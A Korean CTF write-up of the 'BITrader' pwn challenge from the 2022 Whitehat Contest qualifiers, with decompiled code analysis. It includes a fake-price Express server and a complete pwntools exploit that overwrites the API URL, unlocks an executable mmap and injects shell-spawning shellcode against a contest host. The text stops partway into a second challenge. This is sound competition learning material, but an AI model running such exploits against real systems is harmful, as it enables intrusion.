2022 Whitehat Contest Quals

msh1307·2022년 10월 16일
1

Writeups

목록 보기
1/15
post-thumbnail

BITrader


가상화폐 거래소가 구현된 바이너리가 주어진다.

Analysis

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  char v4; // cl
  _BYTE list[48]; // [rsp+0h] [rbp-78h] BYREF
  _BYTE buf[14]; // [rsp+30h] [rbp-48h] BYREF
  unsigned __int64 v8; // [rsp+40h] [rbp-38h]

  v8 = __readfsqword(0x28u);
  initalize();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("$ Coin Exchanger $");
        puts("$ create - You can get coin list with price.");
        puts("$ show - I'll show you how to make a profit on the arbitrage.");
        puts("$ set - If the API setting is not set, you can change it.");
        puts("$ buy - You can buy coins. Do you have a lot of money?");
        puts("$ sell - You can sell coins");
        puts("$ exit");
        printf("> ");
        v3 = (int)(read(0, buf, 16uLL) - 1);
        v4 = buf[v3];
        if ( v4 == '\n' )
          v4 = 0;
        buf[v3] = v4;
        if ( !(*(_DWORD *)buf ^ 'aerc' | *(_DWORD *)&buf[3] ^ 'eta') && !refreshed )
          break;
        if ( *(_DWORD *)buf ^ 'wohs' | buf[4] )
          goto LABEL_13;
        if ( refreshed )
        {
LABEL_12:
          show(list);
          goto LABEL_13;
        }
      }
      ((void (__fastcall *)(_BYTE *, _BYTE *, _QWORD, _QWORD))create)(
        list,
        buf,
        0LL,
        *(_DWORD *)buf ^ 'aerc' | *(_DWORD *)&buf[3] ^ (unsigned int)'eta');
      refreshed = 1;
      if ( !(*(_DWORD *)buf ^ 'wohs' | buf[4]) )
        goto LABEL_12;
LABEL_13:
      if ( *(_DWORD *)buf != 'tes' || byte_50B1 )// set
        break;
      if ( !set() )
      {
        byte_50B1 = 1;
        goto LABEL_2;
      }
    }
    if ( *(_DWORD *)buf != 'yub' )              // buy
      goto LABEL_2;
    if ( refreshed )
    {
      buy(list);
LABEL_2:
      if ( *(_DWORD *)buf ^ 'lles' | buf[4] )
        goto LABEL_3;
      if ( refreshed )
      {
        sell((__int64)list);
LABEL_3:
        if ( !(*(_DWORD *)buf ^ 'tixe' | buf[4]) )// exit
          return 0LL;
      }
    }
  }
}

main 함수의 디컴파일된 모습이다.
분석하면서 주석을 달아놓았다.

처음에 initalize 함수를 호출한다.

bool sub_2850()
{
  char *v0; // rax
  _BYTE *v1; // rbx
  int v2; // ebp
  bool v3; // cf
  bool result; // al
  char buf[25]; // [rsp+Fh] [rbp-19h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v0 = (char *)malloc(160uLL);
  heap_buf = (__int64)v0;
  v1 = v0 + 36;
  strcpy(v0 + 56, "https://min-api.cryptocompare.com/data/price");
  *(_QWORD *)v0 = 0x3FF0000000000000LL;         // 1.0
  printf("name : ");
  v2 = 19;
  do
  {
    if ( (unsigned int)read(0, buf, 1uLL) == 1 )
      *v1++ = buf[0];
    v3 = v2-- == 0;
    result = v3;
  }
  while ( buf[0] != '\n' && !v3 );
  *v1 = 0;
  return result;
}

initalize 함수의 내부 모습은 위와 같다.
버퍼링 설정 이후 heap_buf에 api의 url과 현재 가진 돈, 그리고 이름을 저장한다.

heap_buf의 모습이다.
0x3ff...는 double로 1.0을 의미한다.

이름을 입력받을때는 총 20문자를 입력받는다.

char sub_2A20()
{
  __int64 v1; // rax
  __int64 v2; // rax
  char *v3; // rdi
  __int128 v4[6]; // [rsp+0h] [rbp-78h] BYREF
  int v5; // [rsp+60h] [rbp-18h]
  unsigned __int64 v6; // [rsp+70h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v4, 0, sizeof(v4));
  v5 = 0;
  if ( *(_BYTE *)(heap_buf + 56) )              // if url is set -> abort
    return 0;
  printf("URL > ");
  v1 = (int)(read(0, v4, 0x64uLL) - 1);
  if ( *((_BYTE *)v4 + v1) == 0xA )
    *((_BYTE *)v4 + v1) = 0;
  if ( !strstr((const char *)v4, "https://") && !strstr((const char *)v4, "http://") )
    return 0;
  v2 = heap_buf;
  v3 = (char *)(heap_buf + 56);
  *(_OWORD *)(heap_buf + 136) = 0LL;
  *(_OWORD *)(v2 + 120) = 0LL;
  *(_OWORD *)(v2 + 104) = 0LL;
  *(_OWORD *)(v2 + 88) = 0LL;
  *(_OWORD *)(v2 + 72) = 0LL;
  *(_OWORD *)(v2 + 56) = 0LL;
  *(_DWORD *)(v2 + 152) = 0;
  strcpy(v3, (const char *)v4);
  return 1;
}

set 함수의 디컴파일된 모습이다.
url이 세팅되었는지 여부를 url의 첫 1바이트를 확인해서 검사한다.

LABEL_13:
      if ( *(_DWORD *)buf != 'tes' || byte_50B1 )// set
        break;
      if ( !set() )
      {
        byte_50B1 = 1;
        goto LABEL_2;
      }
    }

main 함수에서 initalize 함수를 호출하는 부분을 살펴보면, byte_50B1을 통해 중복호출을 하지 못하도록 막고있는 것을 확인할 수 있다.

int __fastcall sub_1530(__int64 a1, double a2)
{
  char *v2; // rbx
  __int64 i; // r15
  int result; // eax
  _OWORD *v5; // rax
  _OWORD *v6; // rbp
  __int64 v7; // r12
  char *v8; // rax
  char *v9; // rbp
  __int64 v10; // rax
  __int64 v11; // r12
  char *v12; // rax
  char *v13; // rbp
  __int64 v14; // rax
  __int64 v15; // r12
  char *v16; // rax
  char *v17; // rbp
  __int64 v18; // rax
  __int64 v19; // r12
  char *v20; // rax
  char *v21; // rbp
  __int64 v22; // rax

  v2 = src;
  for ( i = 0LL; i != 6; ++i )
  {
    v5 = malloc(0x60uLL);
    v6 = v5;
    if ( v5 )
    {
      a2 = 0.0;
      *(_OWORD *)((char *)v5 + 44) = 0LL;
      v5[2] = 0LL;
      v5[1] = 0LL;
      *v5 = 0LL;
      v5[4] = 0LL;
      v5[5] = 0LL;
    }
    else
    {
      puts("malloc() failed");
    }
    *(_QWORD *)(a1 + 8 * i) = v6;
    sub_2480(aCoinbase, v2);
    if ( a2 == 0.0 )
    {
      printf("[*] %s price on %s : %s\n", v2, aCoinbase, "UNAVAILABLE");
    }
    else
    {
      printf("[*] %s price on %s : %lf\n", v2, aCoinbase, a2);
      v7 = *(_QWORD *)(a1 + 8 * i);
      v8 = (char *)malloc(0x38uLL);
      v9 = v8;
      if ( v8 )
      {
        strcpy(v8, v2);
        *((double *)v9 + 5) = a2;
        strcpy(v9 + 5, aCoinbase);
        *((_QWORD *)v9 + 6) = 0LL;
      }
      else
      {
        puts("malloc() failed");
      }
      v10 = *(_QWORD *)(v7 + 88);
      if ( v10 )
        *((_QWORD *)v9 + 6) = v10;
      *(_QWORD *)(v7 + 88) = v9;
    }
    sub_2480(aCccagg, v2);
    if ( a2 == 0.0 )
    {
      printf("[*] %s price on %s : %s\n", v2, aCccagg, "UNAVAILABLE");
    }
    else
    {
      printf("[*] %s price on %s : %lf\n", v2, aCccagg, a2);
      v11 = *(_QWORD *)(a1 + 8 * i);
      v12 = (char *)malloc(0x38uLL);
      v13 = v12;
      if ( v12 )
      {
        strcpy(v12, v2);
        *((double *)v13 + 5) = a2;
        strcpy(v13 + 5, aCccagg);
        *((_QWORD *)v13 + 6) = 0LL;
      }
      else
      {
        puts("malloc() failed");
      }
      v14 = *(_QWORD *)(v11 + 88);
      if ( v14 )
        *((_QWORD *)v13 + 6) = v14;
      *(_QWORD *)(v11 + 88) = v13;
    }
    sub_2480(aKraken, v2);
    if ( a2 == 0.0 )
    {
      printf("[*] %s price on %s : %s\n", v2, aKraken, "UNAVAILABLE");
    }
    else
    {
      printf("[*] %s price on %s : %lf\n", v2, aKraken, a2);
      v15 = *(_QWORD *)(a1 + 8 * i);
      v16 = (char *)malloc(0x38uLL);
      v17 = v16;
      if ( v16 )
      {
        strcpy(v16, v2);
        *((double *)v17 + 5) = a2;
        strcpy(v17 + 5, aKraken);
        *((_QWORD *)v17 + 6) = 0LL;
      }
      else
      {
        puts("malloc() failed");
      }
      v18 = *(_QWORD *)(v15 + 88);
      if ( v18 )
        *((_QWORD *)v17 + 6) = v18;
      *(_QWORD *)(v15 + 88) = v17;
    }
    sub_2480(aBitfinex, v2);
    if ( a2 == 0.0 )
    {
      printf("[*] %s price on %s : %s\n", v2, aBitfinex, "UNAVAILABLE");
    }
    else
    {
      printf("[*] %s price on %s : %lf\n", v2, aBitfinex, a2);
      v19 = *(_QWORD *)(a1 + 8 * i);
      v20 = (char *)malloc(0x38uLL);
      v21 = v20;
      if ( v20 )
      {
        strcpy(v20, v2);
        *((double *)v21 + 5) = a2;
        strcpy(v21 + 5, aBitfinex);
        *((_QWORD *)v21 + 6) = 0LL;
      }
      else
      {
        puts("malloc() failed");
      }
      v22 = *(_QWORD *)(v19 + 88);
      if ( v22 )
        *((_QWORD *)v21 + 6) = v22;
      *(_QWORD *)(v19 + 88) = v21;
    }
    result = putchar(10);
    v2 += 5;
  }
  return result;
}

create 함수의 디컴파일된 모습이다.
내부적으로 sub_2480 함수를 호출해서 각 거래소 별로 코인의 시세를 가져온다.

double __fastcall sub_2480(char *src, char *a2)
{
  __int64 v2; // r12
  size_t v3; // rax
  size_t v4; // rax
  unsigned int v5; // eax
  __int64 v6; // r14
  __int64 *i; // rbx
  __int64 v8; // rsi
  double result; // xmm0_8
  FILE *v10; // rbx
  const char *v11; // rax
  __int64 v12[2]; // [rsp+10h] [rbp-108h] BYREF
  char dest[8]; // [rsp+20h] [rbp-F8h] BYREF
  unsigned __int64 v14; // [rsp+F0h] [rbp-28h]

  v14 = __readfsqword(0x28u);
  v12[0] = (__int64)malloc(1uLL);
  v12[1] = 0LL;
  curl_easy_init();
  v2 = curl_easy_init();
  strcpy(dest, (const char *)(heap_buf + 56));
  v3 = strlen(dest);
  *(_DWORD *)&dest[v3] = 'ysf?';
  *(_DWORD *)&dest[v3 + 3] = '=my';
  strcat(dest, a2);
  v4 = strlen(dest);
  *(_QWORD *)&dest[v4] = 'U=smyst&';
  *(_QWORD *)&dest[v4 + 6] = '=e&DSU=';
  strcat(dest, src);
  curl_easy_setopt(v2, 10002LL, dest);
  curl_easy_setopt(v2, 20011LL, sub_2650);
  curl_easy_setopt(v2, 10001LL, v12);
  curl_easy_setopt(v2, 10018LL, "libcurl-agent/1.0");
  v5 = curl_easy_perform(v2);
  if ( v5 )
  {
    v10 = stderr;
    v11 = (const char *)curl_easy_strerror(v5);
    fprintf(v10, "curl_easy_perform() failed: %s\n", v11);
    result = 0.0;
  }
  else
  {
    v6 = json_tokener_parse(v12[0]);
    for ( i = *(__int64 **)(json_object_get_object(v6) + 8); i; v6 = json_object_object_get(v6, v8) )
    {
      v8 = *i;
      i = (__int64 *)i[3];
    }
    result = json_object_get_double(v6);
  }
  curl_easy_cleanup(v2);
  return result;
}

sub_2480 함수는 curl을 통해서 heap_buf의 url에 요청을 보낸다.
받을때는 json으로 받아서 파싱한다.

?fsym=BTC&tsyms=USD&e=Coinbase
?fsym=BTC&tsyms=USD&e=CCCAGG

heap_buf의 url 뒤에 위 파라미터같이 요청이 간다.

{"USD":0.5}

그러면 위와 같은 형식으로 응답이 온다.

      ((void (__fastcall *)(_BYTE *, _BYTE *, _QWORD, _QWORD))create)(
        list,
        buf,
        0LL,
        *(_DWORD *)buf ^ 'aerc' | *(_DWORD *)&buf[3] ^ (unsigned int)'eta');
      refreshed = 1;
      if ( !(*(_DWORD *)buf ^ 'wohs' | buf[4]) )
        goto LABEL_12;

main 함수에서 create 함수가 호출되는 부분인데, 한번 호출이 되면 refreshed를 1로 세팅해서, 중복 호출을 막는다.

int __fastcall sub_1900(_QWORD *a1)
{
  __int64 i; // r15
  __int64 v2; // r12
  __int64 v3; // rbx
  double v4; // xmm0_8
  __int64 v5; // r13
  __int64 v6; // rbx
  double v7; // xmm0_8
  double v8; // xmm2_8
  double v9; // xmm2_8
  double *v10; // rax
  double v11; // xmm3_8
  _BOOL8 v12; // rax
  double v13; // xmm3_8
  double *v14; // rcx
  double v15; // xmm2_8
  bool v16; // cc
  double v17; // xmm2_8
  double *v18; // rcx
  __int64 v19; // rdx
  double v20; // xmm3_8
  double *v21; // rax
  double v22; // xmm1_8
  __int64 v23; // rcx
  double v24; // xmm3_8
  double v25; // xmm2_8
  double *v26; // rax
  double v27; // xmm0_8
  __int64 v28; // rax
  double v29; // xmm0_8
  __int64 v30; // rcx

  for ( i = 0LL; i != 6; ++i )
  {
    v2 = a1[i];
    v3 = *(_QWORD *)(v2 + 88);
    if ( v3 )
    {
      v4 = *(double *)(v2 + 64);
      do
      {
        if ( v4 == 0.0 || v4 > *(double *)(v3 + 40) )
        {
          strcpy((char *)v2, (const char *)(v3 + 5));
          v4 = *(double *)(v3 + 40);
          *(double *)(v2 + 64) = v4;
        }
        v3 = *(_QWORD *)(v3 + 48);
      }
      while ( v3 );
      v5 = a1[i];
      v6 = *(_QWORD *)(v5 + 88);
      if ( v6 )
      {
        v7 = *(double *)(v5 + 72);
        do
        {
          if ( *(double *)(v6 + 40) > v7 )
          {
            strcpy((char *)(v5 + 30), (const char *)(v6 + 5));
            v7 = *(double *)(v6 + 40);
            *(double *)(v5 + 72) = v7;
          }
          v6 = *(_QWORD *)(v6 + 48);
        }
        while ( v6 );
      }
    }
  }
  v8 = 1.0 - *(double *)(*a1 + 64LL) / *(double *)(*a1 + 72LL);
  *(double *)(*a1 + 80LL) = v8;
  v9 = fmax(v8, 0.0);
  v10 = (double *)a1[1];
  v11 = 1.0 - v10[8] / v10[9];
  v10[10] = v11;
  v12 = v11 > v9;
  v13 = fmax(v11, v9);
  v14 = (double *)a1[2];
  v15 = 1.0 - v14[8] / v14[9];
  v14[10] = v15;
  v16 = v15 <= v13;
  v17 = fmax(v15, v13);
  v18 = (double *)a1[3];
  v19 = 2LL;
  if ( v16 )
    v19 = v12;
  v20 = 1.0 - v18[8] / v18[9];
  v18[10] = v20;
  v21 = (double *)a1[4];
  v22 = v21[8] / v21[9];
  v23 = 3LL;
  if ( v20 <= v17 )
    v23 = v19;
  v24 = fmax(v20, v17);
  v21[10] = 1.0 - v22;
  v25 = fmax(1.0 - v22, v24);
  v26 = (double *)a1[5];
  v27 = 1.0 - v26[8] / v26[9];
  v26[10] = v27;
  v28 = 4LL;
  if ( 1.0 - v22 <= v24 )
    v28 = v23;
  v16 = v27 <= v25;
  v29 = fmax(v27, v25);
  v30 = 5LL;
  if ( v16 )
    v30 = v28;
  return printf(
           "Buy %s on %s, then sell on %s for a %lf percent gain.\n",
           &src[5 * v30],
           (const char *)a1[v30],
           (const char *)(a1[v30] + 30LL),
           v29 * 100.0);
}

show 함수의 디컴파일된 모습이다.
분석 당시에는 그냥 대충 이득보는거 계산해주는 함수구나 하고 넘어갔다.

unsigned __int64 __fastcall buy(_QWORD *list)
{
  _QWORD *v1; // r14
  __int64 v2; // rax
  __int64 i; // rbx
  __int64 j; // rbx
  __int64 k; // rbx
  __int64 m; // rbx
  __int64 n; // rbx
  __int64 ii; // rbx
  void *v9; // rbx
  __int64 v11; // r12
  __int64 v12; // rax
  char v13; // cl
  __int64 v14; // rax
  char v15; // cl
  __int64 jj; // rbp
  __int64 v16; // r13
  double money; // xmm0_8
  int cnt; // r14d
  int coin_cnt; // [rsp+4h] [rbp-84h] BYREF
  _QWORD *v21; // [rsp+8h] [rbp-80h]
  double v22; // [rsp+10h] [rbp-78h]
  double v23; // [rsp+18h] [rbp-70h]
  char exchange[40]; // [rsp+20h] [rbp-68h] BYREF
  char coin_type[8]; // [rsp+48h] [rbp-40h] BYREF
  unsigned __int64 v26; // [rsp+50h] [rbp-38h]

  v1 = list;
  v26 = __readfsqword(0x28u);
  coin_cnt = 0;
  puts("Welcome to Shop");
  sub_2B20();
  if ( *(double *)heap_buf >= 7.77777777777777e12 )
  {
    puts("You have a lot of money. Do you want a SUPERCOIN?");
    v2 = heap_buf;
    *(double *)heap_buf = *(double *)heap_buf + -7.77777777777777e12;
    ++*(_DWORD *)(v2 + 32);
  }                                             // *(*list +88) : coint type str
                                                // *(*list + 88)+5 : exchange type str
                                                // *(*list + 88)+40 : cost
  for ( i = *(_QWORD *)(*list + 88LL); i; i = *(_QWORD *)(i + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)i, (const char *)(i + 5), *(double *)(i + 40));
  for ( j = *(_QWORD *)(list[1] + 88LL); j; j = *(_QWORD *)(j + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)j, (const char *)(j + 5), *(double *)(j + 40));
  for ( k = *(_QWORD *)(list[2] + 88LL); k; k = *(_QWORD *)(k + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)k, (const char *)(k + 5), *(double *)(k + 40));
  for ( m = *(_QWORD *)(list[3] + 88LL); m; m = *(_QWORD *)(m + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)m, (const char *)(m + 5), *(double *)(m + 40));
  for ( n = *(_QWORD *)(list[4] + 88LL); n; n = *(_QWORD *)(n + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)n, (const char *)(n + 5), *(double *)(n + 40));
  for ( ii = *(_QWORD *)(list[5] + 88LL); ii; ii = *(_QWORD *)(ii + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)ii, (const char *)(ii + 5), *(double *)(ii + 40));
  if ( *(_DWORD *)(heap_buf + 32) )
  {
    v9 = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
    puts("Weclome to SUPERCOIN Shop :)");
    printf("I'll give you a chance. with %p >> ", v9);
    fread(v9, 1uLL, 0x1000uLL, stdin);
    return (unsigned __int64)v9;
  }
  else
  {
    v11 = 0LL;
    printf("What kind of coin want to buy > ");
    v12 = (int)(read(0, coin_type, 8uLL) - 1);
    v13 = coin_type[v12];
    if ( v13 == '\n' )
      v13 = 0;
    coin_type[v12] = v13;
    printf("How many coin want to buy > ");
    __isoc99_scanf("%u", &coin_cnt);
    printf("Which exchange will you trade on > ");
    v14 = (int)(read(0, exchange, 0x1EuLL) - 1);
    v15 = exchange[v14];
    if ( v15 == '\n' )
      v15 = 0;
    exchange[v14] = v15;
    v21 = list;
    do
    {
      for ( jj = *(_QWORD *)(v1[v11] + 88LL); jj; jj = *(_QWORD *)(jj + 48) )
      {
        if ( !strcmp((const char *)jj, coin_type) && !strcmp((const char *)(jj + 5), exchange) )
        {
          v16 = heap_buf;
          money = *(double *)heap_buf;
          cnt = coin_cnt;
          if ( *(double *)heap_buf < (double)coin_cnt * *(double *)(jj + 40) )
          {
            puts("You don't have enough money. Please check :)");
          }
          else
          {
            v22 = (double)coin_cnt * *(double *)(jj + 40);
            v23 = money;
            if ( !strcmp((const char *)jj, "BTC") )
            {
              *(_DWORD *)(v16 + 8) += cnt;
            }
            else if ( !strcmp((const char *)jj, "ETH") )
            {
              *(_DWORD *)(v16 + 12) += cnt;
            }
            else if ( !strcmp((const char *)jj, "ADA") )
            {
              *(_DWORD *)(v16 + 16) += cnt;
            }
            else if ( !strcmp((const char *)jj, "DOGE") )
            {
              *(_DWORD *)(v16 + 20) += cnt;
            }
            else if ( !strcmp((const char *)jj, "XRP") )
            {
              *(_DWORD *)(v16 + 24) += cnt;
            }
            else if ( !strcmp((const char *)jj, "EOS") )
            {
              *(_DWORD *)(v16 + 28) += cnt;
            }
            *(double *)v16 = v23 - v22;
          }
          v1 = v21;
          break;
        }
      }
      ++v11;
    }
    while ( v11 != 6 );
    return __readfsqword(0x28u);
  }
}

buy 함수의 디컴파일된 모습이다.
heap_buf의 주소에서 8바이트를 더블로 참조하는데, 이게 돈을 의미한다.
첫 번째 조건문을에서 조건을 만족하면, mmap을 통해 메모리를 할당할 수 있게 해준다.

create를 통해 조회한 코인을 어떤 거래소에서 살지 선택할 수 있다.

unsigned __int64 __fastcall sell(_QWORD *list)
{
  __int64 i; // rbx
  __int64 j; // rbx
  __int64 k; // rbx
  __int64 m; // rbx
  __int64 n; // rbx
  __int64 ii; // rbx
  __int64 v7; // r13
  __int64 v8; // rax
  char v9; // cl
  __int64 v10; // rax
  char v11; // cl
  __int64 v2; // r14
  double *price; // rax
  unsigned int v14; // edx
  int v15; // ecx
  bool v16; // cf
  unsigned int v17; // edx
  unsigned int v18; // edx
  unsigned int v19; // edx
  unsigned int v20; // edx
  unsigned int v21; // edx
  unsigned int v22; // edx
  unsigned int v23; // edx
  unsigned int v24; // edx
  unsigned int v25; // edx
  unsigned int v26; // edx
  unsigned int v27; // edx
  unsigned int coin_cnt; // [rsp+4h] [rbp-74h] BYREF
  _QWORD *l; // [rsp+8h] [rbp-70h]
  char exchange[40]; // [rsp+10h] [rbp-68h] BYREF
  char coin_type[8]; // [rsp+38h] [rbp-40h] BYREF
  unsigned __int64 v33; // [rsp+40h] [rbp-38h]

  v33 = __readfsqword(0x28u);
  coin_cnt = 0;
  puts("Welcome to Shop");
  sub_2B20();
  l = list;
  for ( i = *(_QWORD *)(*list + 88LL); i; i = *(_QWORD *)(i + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)i, (const char *)(i + 5), *(double *)(i + 40));
  for ( j = *(_QWORD *)(l[1] + 88LL); j; j = *(_QWORD *)(j + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)j, (const char *)(j + 5), *(double *)(j + 40));
  for ( k = *(_QWORD *)(l[2] + 88LL); k; k = *(_QWORD *)(k + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)k, (const char *)(k + 5), *(double *)(k + 40));
  for ( m = *(_QWORD *)(l[3] + 88LL); m; m = *(_QWORD *)(m + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)m, (const char *)(m + 5), *(double *)(m + 40));
  for ( n = *(_QWORD *)(l[4] + 88LL); n; n = *(_QWORD *)(n + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)n, (const char *)(n + 5), *(double *)(n + 40));
  for ( ii = *(_QWORD *)(l[5] + 88LL); ii; ii = *(_QWORD *)(ii + 48) )
    printf("[*] %s price on %s : %lf\n", (const char *)ii, (const char *)(ii + 5), *(double *)(ii + 40));
  v7 = 0LL;
  printf("What kind of coin want to sell > ");
  v8 = (int)(read(0, coin_type, 8uLL) - 1);
  v9 = coin_type[v8];
  if ( v9 == 10 )
    v9 = 0;
  coin_type[v8] = v9;
  printf("How many coin want to sell > ");
  __isoc99_scanf("%u", &coin_cnt);
  printf("Which exchange will you trade on > ");
  v10 = (int)(read(0, exchange, 0x1EuLL) - 1);
  v11 = exchange[v10];
  if ( v11 == 10 )
    v11 = 0;
  exchange[v10] = v11;
  do
  {
    v2 = *(_QWORD *)(l[v7] + 88LL);
    if ( v2 )
    {
      while ( 1 )
      {
        if ( strcmp((const char *)v2, coin_type) || strcmp((const char *)(v2 + 5), exchange) )
          goto LABEL_22;
        if ( !strcmp((const char *)v2, "BTC") )
        {
          price = (double *)heap_buf;
          v18 = *(_DWORD *)(heap_buf + 8);
          v15 = coin_cnt;
          v16 = v18 < coin_cnt;
          v19 = v18 - coin_cnt;
          if ( !v16 )
          {
            *(_DWORD *)(heap_buf + 8) = v19;
            goto LABEL_43;
          }
          goto LABEL_21;
        }
        if ( !strcmp((const char *)v2, "ETH") )
        {
          price = (double *)heap_buf;
          v20 = *(_DWORD *)(heap_buf + 12);
          v15 = coin_cnt;
          v16 = v20 < coin_cnt;
          v21 = v20 - coin_cnt;
          if ( !v16 )
          {
            *(_DWORD *)(heap_buf + 12) = v21;
            goto LABEL_43;
          }
          goto LABEL_21;
        }
        if ( !strcmp((const char *)v2, "ADA") )
        {
          price = (double *)heap_buf;
          v22 = *(_DWORD *)(heap_buf + 16);
          v15 = coin_cnt;
          v16 = v22 < coin_cnt;
          v23 = v22 - coin_cnt;
          if ( !v16 )
          {
            *(_DWORD *)(heap_buf + 16) = v23;
            goto LABEL_43;
          }
          goto LABEL_21;
        }
        if ( !strcmp((const char *)v2, "DOGE") )
        {
          price = (double *)heap_buf;
          v24 = *(_DWORD *)(heap_buf + 20);
          v15 = coin_cnt;
          v16 = v24 < coin_cnt;
          v25 = v24 - coin_cnt;
          if ( !v16 )
          {
            *(_DWORD *)(heap_buf + 20) = v25;
            goto LABEL_43;
          }
          goto LABEL_21;
        }
        if ( !strcmp((const char *)v2, "XRP") )
          break;
        if ( strcmp((const char *)v2, "EOS") )
          goto LABEL_18;
        price = (double *)heap_buf;
        v14 = *(_DWORD *)(heap_buf + 28);
        v15 = coin_cnt;
        v16 = v14 < coin_cnt;
        v17 = v14 - coin_cnt;
        if ( v16 )
        {
LABEL_21:
          puts("The number of coins to sell is more than the number of coins you have. Please check :)");
LABEL_22:
          v2 = *(_QWORD *)(v2 + 48);
          if ( !v2 )
            goto LABEL_18;
        }
        else
        {
          *(_DWORD *)(heap_buf + 28) = v17;
LABEL_43:
          *price = (double)v15 * *(double *)(v2 + 40) + *price;
          v2 = *(_QWORD *)(v2 + 48);
          if ( !v2 )
            goto LABEL_18;
        }
      }
      price = (double *)heap_buf;
      v26 = *(_DWORD *)(heap_buf + 24);
      v15 = coin_cnt;
      v16 = v26 < coin_cnt;
      v27 = v26 - coin_cnt;
      if ( !v16 )
      {
        *(_DWORD *)(heap_buf + 24) = v27;
        goto LABEL_43;
      }
      goto LABEL_21;
    }
LABEL_18:
    ++v7;
  }
  while ( v7 != 6 );
  return __readfsqword(0x28u);
}

sell 함수의 디컴파일된 모습이다.
create를 통해 조회한 코인을 원하는 거래소에 팔 수 있다.

Exploitation

  printf("name : ");
  v2 = 19;
  do
  {
    if ( (unsigned int)read(0, buf, 1uLL) == 1 )
      *v1++ = buf[0];
    v3 = v2-- == 0;
    result = v3;
  }
  while ( buf[0] != '\n' && !v3 );
  *v1 = 0;
  return result;
}

initalize 부분에서 20 바이트를 입력받을 수 있다.
그런데 마지막에 *v1 = 0; 때문에 url의 첫 1바이트를 null byte로 overwrite 할 수 있다.

  if ( *(_BYTE *)(heap_buf + 56) )              // if url is set -> abort
    return 0;
  printf("URL > ");
  v1 = (int)(read(0, v4, 0x64uLL) - 1);
  if ( *((_BYTE *)v4 + v1) == 0xA )
    *((_BYTE *)v4 + v1) = 0;

set 함수 내부에서 url의 첫 바이트만을 검사하기 때문에 위 조건문을 우회할 수 있다.
그러면 api의 url을 마음대로 바꿀 수 있다.

api의 url을 바꾸면

if ( *(double *)heap_buf >= 7.77777777777777e12 )
  {
    puts("You have a lot of money. Do you want a SUPERCOIN?");
    v2 = heap_buf;
    *(double *)heap_buf = *(double *)heap_buf + -7.77777777777777e12;
    ++*(_DWORD *)(v2 + 32);
  } 

buy 함수 내부의 위 조건문을 buy와 sell을 통해 충분히 만족시켜줄 수 있다.

import express from 'express';

const app = express()

app.get('/', (req, res) => {
    const fsym = 'BTC'
    const tsyms = 'USD' 
    if (req.query.fsym == fsym && req.query.tsyms == tsyms) {
        if (req.query.e == 'CCCAGG') {
            res.send({"USD":9999999999999999.9})
        } else if (req.query.e == 'Coinbase') {
            res.send({"USD":0.5})
        }
    }
    res.send({"USD":9999999999999999.9})
})

app.listen(7862, () => console.log('Example app listening on port 7862!'))

서버를 가지고 있는 친구를 데려와서 요청이 왔을때, 위와 같은 응답을 보내도록 해달라고 빌면 된다.

Coinbase에서 BTC를 하나 사고 sell을 CCCAGG 같은 다른 코인 거래소에 팔면 buy 함수 내부의 조건문을 만족시킬 수 있다.

from pwn import * 
p = remote('13.124.166.215',9030)
#p = process('./bitrader')
pay = b'A'*20
p.sendafter(b'name :',pay)
context.update(arch='amd64', os='linux')
p.sendlineafter(b'>',b'set')
p.sendlineafter(b'>',b'http://plebea.site:7862/')
p.sendlineafter(b'>',b'create')
p.sendlineafter(b'>',b'buy')
p.sendlineafter(b'>',b'BTC')
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'>',b'Coinbase')
p.sendlineafter(b'>',b'sell')
p.sendlineafter(b'>',b'BTC')
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'>',b'Bitfinex')
p.sendlineafter(b'>',b'buy')
p.recvuntil(b'0x')
recv = p.recvuntil(b'\x20')[:-1]
recv= int(recv,16)
success('recv : '+ hex(recv))
libc_base = recv - 0x31a000
success('libc base : '+hex(libc_base))
sh = asm('sub rsp, 1')
sh += asm('add rsp, 0x400')
sh += asm(shellcraft.sh())
print(sh)
pay = b''
pay += p64(recv+0x10)
pay += b'A'*8
# pay += p64(recv+0x10)
pay += b'\x48\x83\xEC\x01\x48\x81\xC4\x00\x04\x00\x00' #sub rsp, 1; add rsp, 0x400
pay += sh
pay += b'\x00'*(0x1000-len(sh)-0x10 -11)
pause()
p.sendlineafter(b'>',pay)
p.interactive()

익스플로잇 코드는 위와 같다.
대회 당시에 rsp가 잘 안맞아서 몇번 빼주고, 더하다가 얼떨결에 되버렸던걸로 기억한다.

오프셋 잘 맞춰주면 쉘을 실행시킬 수 있다.
대회때는 이거 왜 터지지하고 backtrace만 보고 라이브러리 어디선가 호출해주나 하고 그냥 넘어갔는데, 나중에 들어보니까 인라인 어셈블리로 실행시켜준다고 한다.

today todo


64비트 ELF 바이너리가 주어진다.

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [rsp+8h] [rbp-48h] BYREF
  int v5; // [rsp+Ch] [rbp-44h]
  int i; // [rsp+10h] [rbp-40h]
  int v7; // [rsp+14h] [rbp-3Ch]
  void *ptr; // [rsp+18h] [rbp-38h]
  char passwd[8]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v10; // [rsp+28h] [rbp-28h]
  __int64 v11; // [rsp+30h] [rbp-20h]
  __int64 v12; // [rsp+38h] [rbp-18h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  *(_QWORD *)passwd = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v5 = 0;
  v7 = -1;
